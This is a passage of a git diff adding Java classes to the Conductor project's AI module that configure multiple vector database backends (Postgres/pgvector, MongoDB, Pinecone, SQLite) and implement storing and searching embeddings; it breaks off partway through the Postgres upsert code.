+ */ +@Component +@ConfigurationProperties(prefix = "conductor.vectordb") +@Slf4j +public class VectorDBInstanceConfig implements VectorDBConfig { + + private List instances; + + public List getInstances() { + return instances; + } + + public void setInstances(List instances) { + this.instances = instances; + } + + @Override + public VectorDB get() { + // This method is not used directly. The provider will iterate over instances. + throw new UnsupportedOperationException( + "Use getInstances() to access individual vector DB configurations"); + } + + /** + * Returns a map of VectorDB instances keyed by their configured names. Each instance is + * initialized based on its type and configuration. + */ + public Map getVectorDBInstances() { + Map vectorDBMap = new HashMap<>(); + if (instances == null || instances.isEmpty()) { + log.warn("No vector DB instances configured"); + return vectorDBMap; + } + + for (VectorDBInstance instance : instances) { + try { + VectorDB vectorDB = createVectorDB(instance); + if (vectorDB != null) { + vectorDBMap.put(instance.getName(), vectorDB); + log.info( + "Initialized vector DB instance: {} (type: {})", + instance.getName(), + instance.getType()); + } + } catch (Exception e) { + log.error( + "Failed to initialize vector DB instance: {} (type: {}), reason: {}", + instance.getName(), + instance.getType(), + e.getMessage()); + } + } + + return vectorDBMap; + } + + /** Creates a VectorDB instance based on the configuration type. */ + private VectorDB createVectorDB(VectorDBInstance instance) { + String type = instance.getType(); + if (type == null) { + log.error("Vector DB instance {} has no type specified", instance.getName()); + return null; + } + + switch (type.toLowerCase()) { + case "postgres": + case "pgvectordb": + return createPostgresVectorDB(instance); + case "mongodb": + case "mongovectordb": + return createMongoVectorDB(instance); + case "pinecone": + case "pineconedb": + return createPineconeVectorDB(instance); + case "sqlite": + case "sqlitevec": + return createSqliteVectorDB(instance); + default: + log.error("Unknown vector DB type: {} for instance: {}", type, instance.getName()); + return null; + } + } + + private VectorDB createPostgresVectorDB(VectorDBInstance instance) { + PostgresConfig config = instance.getPostgres(); + if (config == null) { + log.error("Postgres configuration missing for instance: {}", instance.getName()); + return null; + } + return config.get(instance.getName()); + } + + private VectorDB createMongoVectorDB(VectorDBInstance instance) { + MongoDBConfig config = instance.getMongodb(); + if (config == null) { + log.error("MongoDB configuration missing for instance: {}", instance.getName()); + return null; + } + return config.get(instance.getName()); + } + + private VectorDB createPineconeVectorDB(VectorDBInstance instance) { + PineconeConfig config = instance.getPinecone(); + if (config == null) { + log.error("Pinecone configuration missing for instance: {}", instance.getName()); + return null; + } + return config.get(instance.getName()); + } + + private VectorDB createSqliteVectorDB(VectorDBInstance instance) { + SqliteConfig config = instance.getSqlite(); + if (config == null) { + log.error("SQLite configuration missing for instance: {}", instance.getName()); + return null; + } + return config.get(instance.getName()); + } + + /** Represents a single vector DB instance configuration. */ + public static class VectorDBInstance { + private String name; + private String type; + private PostgresConfig postgres; + private MongoDBConfig mongodb; + private PineconeConfig pinecone; + private SqliteConfig sqlite; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getType() { + return type; + } + + public void setType(String type) { + this.type = type; + } + + public PostgresConfig getPostgres() { + return postgres; + } + + public void setPostgres(PostgresConfig postgres) { + this.postgres = postgres; + } + + public MongoDBConfig getMongodb() { + return mongodb; + } + + public void setMongodb(MongoDBConfig mongodb) { + this.mongodb = mongodb; + } + + public PineconeConfig getPinecone() { + return pinecone; + } + + public void setPinecone(PineconeConfig pinecone) { + this.pinecone = pinecone; + } + + public SqliteConfig getSqlite() { + return sqlite; + } + + public void setSqlite(SqliteConfig sqlite) { + this.sqlite = sqlite; + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/vectordb/VectorDBProvider.java b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/VectorDBProvider.java new file mode 100644 index 0000000..9afd7a0 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/VectorDBProvider.java @@ -0,0 +1,96 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb; + +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +import org.springframework.beans.factory.ObjectProvider; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.sdk.workflow.executor.task.TaskContext; + +import lombok.extern.slf4j.Slf4j; + +/** + * Provider for managing multiple vector database instances. Uses name-based lookup to support + * multiple instances of the same database type. + * + *

The provider is initialized with a VectorDBInstanceConfig which contains all configured vector + * database instances. + */ +@Component +@Slf4j +public class VectorDBProvider { + + private final Map vectorDBs = new ConcurrentHashMap<>(); + + /** + * Initializes the provider with configured vector database instances, then merges in any + * auto-configured default instances (e.g. the bundled SQLite/sqlite-vec store) that are not + * already provided explicitly. + * + * @param instanceConfig Configuration containing all vector DB instances + * @param defaultInstances Auto-configured default VectorDB beans, if any + */ + public VectorDBProvider( + VectorDBInstanceConfig instanceConfig, ObjectProvider defaultInstances) { + try { + Map instances = instanceConfig.getVectorDBInstances(); + vectorDBs.putAll(instances); + defaultInstances.forEach( + db -> { + if (vectorDBs.putIfAbsent(db.getName(), db) == null) { + log.info( + "Registered default vector DB instance: {} (type: {})", + db.getName(), + db.getType()); + } else { + log.warn( + "Vector DB instance '{}' already registered explicitly; " + + "auto-registered default not applied", + db.getName()); + } + }); + log.info("Initialized VectorDBProvider with {} instances", vectorDBs.size()); + vectorDBs + .keySet() + .forEach( + name -> + log.info( + " - {} (type: {})", + name, + vectorDBs.get(name).getType())); + } catch (Exception e) { + log.error("Failed to initialize VectorDBProvider: {}", e.getMessage(), e); + } + } + + /** + * Retrieves a vector database instance by its configured name. + * + * @param name The name of the vector database instance as configured + * @param taskContext The task context (reserved for future use) + * @return The VectorDB instance, or null if not found + */ + public VectorDB get(String name, TaskContext taskContext) { + VectorDB db = vectorDBs.get(name); + if (db == null) { + log.warn( + "Vector DB instance not found: {}. Available instances: {}", + name, + vectorDBs.keySet()); + } + return db; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/vectordb/VectorDBs.java b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/VectorDBs.java new file mode 100644 index 0000000..1d5e05c --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/VectorDBs.java @@ -0,0 +1,68 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb; + +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.model.IndexedDoc; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.sdk.workflow.executor.task.NonRetryableException; +import com.netflix.conductor.sdk.workflow.executor.task.TaskContext; + +import lombok.extern.slf4j.Slf4j; + +@Component +@Slf4j +public class VectorDBs { + + private final VectorDBProvider vectorDBProvider; + + public VectorDBs(VectorDBProvider vectorDBProvider) { + this.vectorDBProvider = vectorDBProvider; + log.info("vectorDBProvider: {}", vectorDBProvider); + } + + public int storeEmbeddings( + String vectorDBName, + TaskContext context, + String indexName, + String namespace, + String text, + String parentDocId, + String id, + List embeddings, + Map metadata) { + VectorDB db = vectorDBProvider.get(vectorDBName, context); + if (db == null) { + throw new NonRetryableException("VectorDB not found: " + vectorDBName); + } + return db.updateEmbeddings( + indexName, namespace, text, parentDocId, id, embeddings, metadata); + } + + public List searchEmbeddings( + String vectorDBName, + TaskContext context, + String indexName, + String namespace, + List embeddings, + int maxResults) { + VectorDB db = vectorDBProvider.get(vectorDBName, context); + if (db == null) { + throw new NonRetryableException("VectorDB not found: " + vectorDBName); + } + return db.search(indexName, namespace, embeddings, maxResults); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/vectordb/mongodb/MongoDBConfig.java b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/mongodb/MongoDBConfig.java new file mode 100644 index 0000000..32fcb56 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/mongodb/MongoDBConfig.java @@ -0,0 +1,42 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb.mongodb; + +import org.conductoross.conductor.ai.vectordb.VectorDBConfig; + +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; + +@Data +@NoArgsConstructor +@AllArgsConstructor +public class MongoDBConfig implements VectorDBConfig { + + private String connectionString; + + private String database; + + private String collection; + + private Integer numCandidates; + + @Override + public MongoVectorDB get() { + throw new UnsupportedOperationException("Use get(String name) instead"); + } + + public MongoVectorDB get(String name) { + return new MongoVectorDB(name, this); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/vectordb/mongodb/MongoVectorDB.java b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/mongodb/MongoVectorDB.java new file mode 100644 index 0000000..16332d9 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/mongodb/MongoVectorDB.java @@ -0,0 +1,195 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb.mongodb; + +import java.time.Duration; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.regex.Pattern; + +import org.bson.Document; +import org.bson.codecs.configuration.CodecRegistries; +import org.bson.codecs.configuration.CodecRegistry; +import org.bson.codecs.pojo.PojoCodecProvider; +import org.bson.conversions.Bson; +import org.conductoross.conductor.ai.model.IndexedDoc; +import org.conductoross.conductor.ai.vectordb.VectorDB; + +import com.google.common.cache.Cache; +import com.google.common.cache.CacheBuilder; +import com.mongodb.ConnectionString; +import com.mongodb.MongoClientSettings; +import com.mongodb.client.AggregateIterable; +import com.mongodb.client.MongoClient; +import com.mongodb.client.MongoClients; +import com.mongodb.client.MongoCollection; +import com.mongodb.client.MongoDatabase; +import com.mongodb.client.model.FindOneAndUpdateOptions; +import com.mongodb.client.model.ReturnDocument; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; + +@Slf4j +public class MongoVectorDB extends VectorDB { + + public static final String TYPE = "mongodb"; + private final Cache mongoClients; + private final Cache mongoDatabases; + private final MongoDBConfig config; + + private static final String VALID_NAME_REGEX = "[a-zA-Z0-9_-]+"; + private static final Pattern pattern = Pattern.compile(VALID_NAME_REGEX); + + public MongoVectorDB(String name, MongoDBConfig config) { + super(name, TYPE); + this.config = config; + this.mongoClients = + CacheBuilder.newBuilder() + .maximumSize(100) + .expireAfterAccess(Duration.ofSeconds(60)) + .concurrencyLevel(32) + .build(); + this.mongoDatabases = + CacheBuilder.newBuilder() + .maximumSize(100) + .expireAfterAccess(Duration.ofSeconds(60)) + .concurrencyLevel(32) + .build(); + } + + @Override + public int updateEmbeddings( + String indexName, + String namespace, + String doc, + String parentDocId, + String id, + List embeddings, + Map metadata) { + if (!pattern.matcher(namespace).matches()) { + throw new RuntimeException("Invalid namespace"); + } + if (!pattern.matcher(indexName).matches()) { + throw new RuntimeException("Invalid index name"); + } + + MongoClient client = null; + MongoDatabase mongoDatabase = null; + try { + client = getClient(); + mongoDatabase = getDatabase(client); + // assume collection exists and vector search index applied on it + return upsertEmbeddings( + namespace, id, parentDocId, doc, embeddings, metadata, mongoDatabase); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + private int upsertEmbeddings( + String namespace, + String id, + String parentDocId, + String doc, + List embeddings, + Map metadata, + MongoDatabase database) { + MongoCollection collection = database.getCollection(namespace); + Document filter = new Document("doc_id", id); + + Document update = + new Document( + "$set", + new Document("parent_doc_id", parentDocId) + .append("doc_id", id) + .append("doc", doc) + .append("embedding", embeddings) + .append("metadata", metadata)); + + FindOneAndUpdateOptions options = + new FindOneAndUpdateOptions().upsert(true).returnDocument(ReturnDocument.AFTER); + + Document result = collection.findOneAndUpdate(filter, update, options); + return result != null ? 1 : 0; + } + + @SneakyThrows + private MongoClient getClient() { + String connectionString = config.getConnectionString(); + return mongoClients.get(connectionString, () -> getMongoClient(connectionString)); + } + + @SneakyThrows + private MongoDatabase getDatabase(MongoClient mongoClient) { + String database = config.getDatabase(); + return mongoDatabases.get(database, () -> mongoClient.getDatabase(database)); + } + + private MongoClient getMongoClient(String connectionString) { + CodecRegistry pojoCodecRegistry = + CodecRegistries.fromRegistries( + MongoClientSettings.getDefaultCodecRegistry(), + CodecRegistries.fromProviders( + PojoCodecProvider.builder().automatic(true).build())); + MongoClientSettings settings = + MongoClientSettings.builder() + .applyConnectionString(new ConnectionString(connectionString)) + .codecRegistry(pojoCodecRegistry) + .build(); + return MongoClients.create(settings); + } + + @Override + public List search( + String indexName, String namespace, List embeddings, int maxResults) { + + Bson vectorSearch = + new Document( + "$vectorSearch", + new Document("queryVector", embeddings) + .append("path", "embedding") + .append("limit", maxResults) + .append("index", indexName)); + + MongoClient client = getClient(); + MongoDatabase database = getDatabase(client); + MongoCollection collection = database.getCollection(namespace); + + Bson project = + new Document( + "$project", + new Document("score", new Document("$meta", "vectorSearchScore")) + .append("doc", 1) + .append("parent_doc_id", 1) + .append("doc_id", 1) + .append("metadata", 1)); + + List pipeline = Arrays.asList(vectorSearch, project); + List matches = new ArrayList<>(); + AggregateIterable results = collection.aggregate(pipeline); + + for (Document document : results) { + IndexedDoc indexedDoc = + new IndexedDoc( + document.getString("doc_id"), + document.getString("parent_doc_id"), + document.getString("doc"), + document.getDouble("score").doubleValue()); + indexedDoc.setMetadata((Map) document.get("metadata")); + matches.add(indexedDoc); + } + return matches; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/vectordb/pinecone/PineconeConfig.java b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/pinecone/PineconeConfig.java new file mode 100644 index 0000000..4f17049 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/pinecone/PineconeConfig.java @@ -0,0 +1,36 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb.pinecone; + +import org.conductoross.conductor.ai.vectordb.VectorDBConfig; + +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; + +@Data +@NoArgsConstructor +@AllArgsConstructor +public class PineconeConfig implements VectorDBConfig { + + private String apiKey; + + @Override + public PineconeDB get() { + throw new UnsupportedOperationException("Use get(String name) instead"); + } + + public PineconeDB get(String name) { + return new PineconeDB(name, this); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/vectordb/pinecone/PineconeDB.java b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/pinecone/PineconeDB.java new file mode 100644 index 0000000..85a9c75 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/pinecone/PineconeDB.java @@ -0,0 +1,217 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb.pinecone; + +import java.time.Duration; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.http.AIHttpClients; +import org.conductoross.conductor.ai.model.IndexedDoc; +import org.conductoross.conductor.ai.vectordb.VectorDB; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.cache.Cache; +import com.google.common.cache.CacheBuilder; +import com.google.protobuf.Struct; +import com.google.protobuf.Value; +import io.grpc.StatusRuntimeException; +import io.pinecone.clients.Index; +import io.pinecone.clients.Pinecone; +import io.pinecone.commons.IndexInterface; +import io.pinecone.proto.UpsertResponse; +import io.pinecone.unsigned_indices_model.QueryResponseWithUnsignedIndices; +import io.pinecone.unsigned_indices_model.ScoredVectorWithUnsignedIndices; +import io.pinecone.unsigned_indices_model.VectorWithUnsignedIndices; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; + +@Slf4j +public class PineconeDB extends VectorDB { + + public static final String TYPE = "pinecone"; + private final Cache indexCache; + private final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + private final PineconeConfig config; + + public PineconeDB(String name, PineconeConfig config) { + super(name, TYPE); + this.config = config; + this.indexCache = + CacheBuilder.newBuilder() + .maximumSize(100) + .expireAfterAccess(Duration.ofSeconds(60)) + .concurrencyLevel(32) + .build(); + } + + @SneakyThrows + private int updateEmbeddingsWithNameSpace( + String indexName, + String namespace, + String doc, + String parentDocId, + String id, + List embeddings, + Map additionalMetadata) { + String metadataJson = objectMapper.writeValueAsString(additionalMetadata); + Struct.Builder metadataBuilder = Struct.newBuilder(); + Index conn = getConnection(indexName); + try { + + if (parentDocId != null) { + metadataBuilder.putFields( + "parentDocId", Value.newBuilder().setStringValue(parentDocId).build()); + } + if (doc != null) { + metadataBuilder.putFields("text", Value.newBuilder().setStringValue(doc).build()); + } + metadataBuilder.putFields( + "metadata", Value.newBuilder().setStringValue(metadataJson).build()); + + Struct metadata = metadataBuilder.build(); + + VectorWithUnsignedIndices vectors = + IndexInterface.buildUpsertVectorWithUnsignedIndices( + id, embeddings, null, null, metadata); + UpsertResponse upsertResponse = conn.upsert(List.of(vectors), namespace); + return upsertResponse.getUpsertedCount(); + + } catch (StatusRuntimeException e) { + throw new RuntimeException(e); + } + } + + @Override + public int updateEmbeddings( + String indexName, + String namespace, + String doc, + String parentDocId, + String id, + List embeddings, + Map additionalMetadata) { + try { + return updateEmbeddingsWithNameSpace( + indexName, namespace, doc, parentDocId, id, embeddings, additionalMetadata); + } catch (Exception e) { + if (e.getMessage() != null && e.getMessage().contains("feature 'Namespaces'")) { + return updateEmbeddingsWithNameSpace( + indexName, "", doc, parentDocId, id, embeddings, additionalMetadata); + } else { + throw e; + } + } + } + + public List searchWithNameSpace( + String indexName, String namespace, List embeddings, int maxResults) { + + Index conn = getConnection(indexName); + + try { + QueryResponseWithUnsignedIndices response = + conn.queryByVector(maxResults, embeddings, namespace, true, true); + List scoredVectors = response.getMatchesList(); + List matches = new ArrayList<>(scoredVectors.size()); + for (var scoredVector : scoredVectors) { + Struct metadata = scoredVector.getMetadata(); + String text = ""; + String parentDocId = null; + Map metadataMap = null; + if (metadata != null) { + Value value = metadata.getFieldsMap().get("metadata"); + if (value != null) { + String json = value.getStringValue(); + try { + metadataMap = objectMapper.readValue(json, Map.class); + } catch (JsonProcessingException jsonProcessingException) { + log.error( + jsonProcessingException.getMessage(), jsonProcessingException); + } + } + Value textField = metadata.getFieldsMap().get("text"); + if (textField != null) { + text = textField.getStringValue(); + } + Value parentDocField = metadata.getFieldsMap().get("parentDocId"); + if (parentDocField != null) { + parentDocId = parentDocField.getStringValue(); + } + } + + String docId = scoredVector.getId(); + double score = scoredVector.getScore(); + + IndexedDoc indexedDoc = new IndexedDoc(docId, parentDocId, text, score); + indexedDoc.setMetadata(metadataMap); + matches.add(indexedDoc); + } + return matches; + + } catch (StatusRuntimeException e) { + log.error("Error while searching in pinecone: {}", e.getMessage(), e); + throw new RuntimeException(e); + } + } + + private Map toJavaMap(Struct metadata) { + Map map = new HashMap<>(); + for (Map.Entry e : metadata.getFieldsMap().entrySet()) { + String key = e.getKey(); + Value value = e.getValue(); + if (value.hasNumberValue()) { + map.put(key, value.getNumberValue()); + } else { + map.put(key, value.getStringValue()); + } + } + return map; + } + + public List search( + String indexName, String namespace, List embeddings, int topK) { + try { + return searchWithNameSpace(indexName, namespace, embeddings, topK); + } catch (Exception e) { + if (e.getMessage() != null && e.getMessage().contains("feature 'Namespaces'")) { + return searchWithNameSpace(indexName, "", embeddings, topK); + } else { + throw e; + } + } + } + + @SneakyThrows + private Index getConnection(String indexName) { + return indexCache.get(indexName, () -> getIndex(indexName)); + } + + private Index getIndex(String indexName) { + String apiKey = config.getApiKey(); + if (apiKey == null || apiKey.trim().isEmpty()) { + throw new RuntimeException( + "Pinecone API key is not configured. Please set conductor.vectordb.pinecone.apiKey"); + } + Pinecone pinecone = + new Pinecone.Builder(apiKey) + .withOkHttpClient(AIHttpClients.defaultClient()) + .build(); + return pinecone.getIndexConnection(indexName); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/vectordb/postgres/PostgresConfig.java b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/postgres/PostgresConfig.java new file mode 100644 index 0000000..f3b3277 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/postgres/PostgresConfig.java @@ -0,0 +1,52 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb.postgres; + +import org.conductoross.conductor.ai.vectordb.VectorDBConfig; + +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; + +@Data +@NoArgsConstructor +@AllArgsConstructor +public class PostgresConfig implements VectorDBConfig { + + private String datasourceURL; + + private String user; + + private String password; + + private Integer connectionPoolSize = 5; + + private Integer dimensions = 256; + + private String indexingMethod = "hnsw"; + + private String distanceMetric = "l2"; + + private Integer invertedListCount = 100; + + private String tablePrefix; + + @Override + public PostgresVectorDB get() { + throw new UnsupportedOperationException("Use get(String name) instead"); + } + + public PostgresVectorDB get(String name) { + return new PostgresVectorDB(name, this); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/vectordb/postgres/PostgresVectorDB.java b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/postgres/PostgresVectorDB.java new file mode 100644 index 0000000..270585c --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/postgres/PostgresVectorDB.java @@ -0,0 +1,414 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb.postgres; + +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.time.Duration; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.regex.Pattern; + +import javax.sql.DataSource; + +import org.apache.commons.lang3.StringUtils; +import org.conductoross.conductor.ai.model.IndexedDoc; +import org.conductoross.conductor.ai.vectordb.VectorDB; +import org.conductoross.conductor.common.utils.TextUtils; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.cache.Cache; +import com.google.common.cache.CacheBuilder; +import com.google.common.cache.RemovalListener; +import com.google.common.cache.RemovalNotification; +import com.pgvector.PGvector; +import com.zaxxer.hikari.HikariConfig; +import com.zaxxer.hikari.HikariDataSource; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; + +@Slf4j +public class PostgresVectorDB extends VectorDB { + + public static final String TYPE = "postgres"; + + private final Cache pgvectorClients; + private final ObjectMapper objectMapper; + private final PostgresConfig config; + private static final String VALID_NAME_REGEX = "[a-zA-Z0-9_-]+"; + private static final Pattern pattern = Pattern.compile(VALID_NAME_REGEX); + + public PostgresVectorDB(String name, PostgresConfig config) { + super(name, TYPE); + this.config = config; + this.objectMapper = new ObjectMapper(); + this.pgvectorClients = + CacheBuilder.newBuilder() + .maximumSize(100) + .expireAfterAccess(Duration.ofSeconds(60)) + .concurrencyLevel(32) + .removalListener( + new RemovalListener() { + @Override + public void onRemoval( + RemovalNotification notification) { + DataSource dataSource = notification.getValue(); + if (dataSource instanceof HikariDataSource) { + ((HikariDataSource) dataSource).close(); + } + } + }) + .build(); + } + + @SneakyThrows + private DataSource getClient() { + String cacheKey = config.getDatasourceURL(); + return pgvectorClients.get(cacheKey, this::getPgVectorClient); + } + + private DataSource getPgVectorClient() { + String connectionURL = config.getDatasourceURL(); + final String driverClassName = "org.postgresql.Driver"; + + if (StringUtils.isBlank(connectionURL)) { + throw new RuntimeException( + "Missing connection URL - please check conductor.vectordb.postgres.datasourceURL"); + } + + String userName = config.getUser(); + String password = config.getPassword(); + int poolSize = config.getConnectionPoolSize() != null ? config.getConnectionPoolSize() : 5; + + HikariConfig hikariConfig = new HikariConfig(); + hikariConfig.setJdbcUrl(connectionURL); + hikariConfig.setAutoCommit(true); + hikariConfig.setDriverClassName(driverClassName); + hikariConfig.setUsername(userName); + hikariConfig.setPassword(password); + hikariConfig.setMaximumPoolSize(poolSize); + hikariConfig.setIdleTimeout(60_000); + + return new HikariDataSource(hikariConfig); + } + + private void waitForConnectionPoolReady(DataSource dataSource) { + if (dataSource instanceof HikariDataSource) { + HikariDataSource hikariDataSource = (HikariDataSource) dataSource; + int maxWaitTime = 5000; // 5 seconds + int waitInterval = 20; // 20ms + int totalWaited = 0; + + while (!hikariDataSource.isRunning() && totalWaited < maxWaitTime) { + try { + Thread.sleep(waitInterval); + totalWaited += waitInterval; + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + throw new RuntimeException("Interrupted while waiting for connection pool", e); + } + } + + if (!hikariDataSource.isRunning()) { + throw new RuntimeException( + "Connection pool failed to start within " + maxWaitTime + "ms"); + } + } + } + + @Override + public int updateEmbeddings( + String indexName, + String namespace, + String doc, + String parentDocId, + String id, + List embeddings, + Map metadata) { + if (parentDocId == null) { + parentDocId = id; + } + if (!pattern.matcher(namespace).matches()) { + throw new RuntimeException("Invalid namespace"); + } + if (!pattern.matcher(indexName).matches()) { + throw new RuntimeException("Invalid index name"); + } + DataSource dataSource; + try { + // Assuming vector extension exists + dataSource = getClient(); + // Wait for connection pool to be ready + waitForConnectionPoolReady(dataSource); + } catch (Exception exception) { + log.error( + "Error encountered while fetching datasource : {}", + exception.getMessage(), + exception); + throw new RuntimeException(exception); + } + + try (Connection conn = dataSource.getConnection()) { + PGvector.addVectorType(conn); + String tableName = + config.getTablePrefix() != null + ? config.getTablePrefix() + "_" + namespace + : namespace; + createVectorTableIfNotExists(tableName, conn); + createVectorIndexIfNotExists(tableName, indexName, conn); + return upsertEmbeddings(namespace, id, parentDocId, doc, embeddings, metadata, conn); + } catch (Exception exception) { + log.error( + "Error encountered while updating embeddings as : {}", + exception.getMessage(), + exception); + throw new RuntimeException(exception); + } + } + + private int upsertEmbeddings( + String namespace, + String id, + String parentDocId, + String doc, + List embeddings, + Map metadata, + Connection conn) { + final int embeddingDimensions = + config.getDimensions() != null ? config.getDimensions() : 256; + if (embeddingDimensions != embeddings.size()) { + throw new RuntimeException("Embeddings must be of dimensions : " + embeddingDimensions); + } + String tableName = + config.getTablePrefix() != null + ? config.getTablePrefix() + "_" + namespace + : namespace; + String UPSERT_QUERY = + "INSERT INTO " + + tableName + + " AS n (id, parent_doc_id, embedding, doc, metadata) " + + "VALUES (?, ?, ?, ?, ?) " + + "ON CONFLICT (id) DO UPDATE SET parent_doc_id = ?, embedding = ?, doc = ?, metadata = ? WHERE n.id = ?"; + log.debug("Executing upsert query: {}", UPSERT_QUERY); + log.debug( + "Upserting document with id: {}, parentDocId: {}, doc length: {}, embedding dimensions: {}", + id, + parentDocId, + doc.length(), + embeddings.size()); + try (PreparedStatement statement = conn.prepareStatement(UPSERT_QUERY)) { + conn.setAutoCommit(true); + int paramIndex = 1; + + Object[] vectorArray = new Object[embeddings.size()]; + for (int i = 0; i < embeddings.size(); i++) { + vectorArray[i] = embeddings.get(i); + } + // insert + statement.setString(paramIndex++, id); + statement.setString(paramIndex++, parentDocId); + statement.setArray( + paramIndex++, conn.createArrayOf("float8", vectorArray)); // embedding + 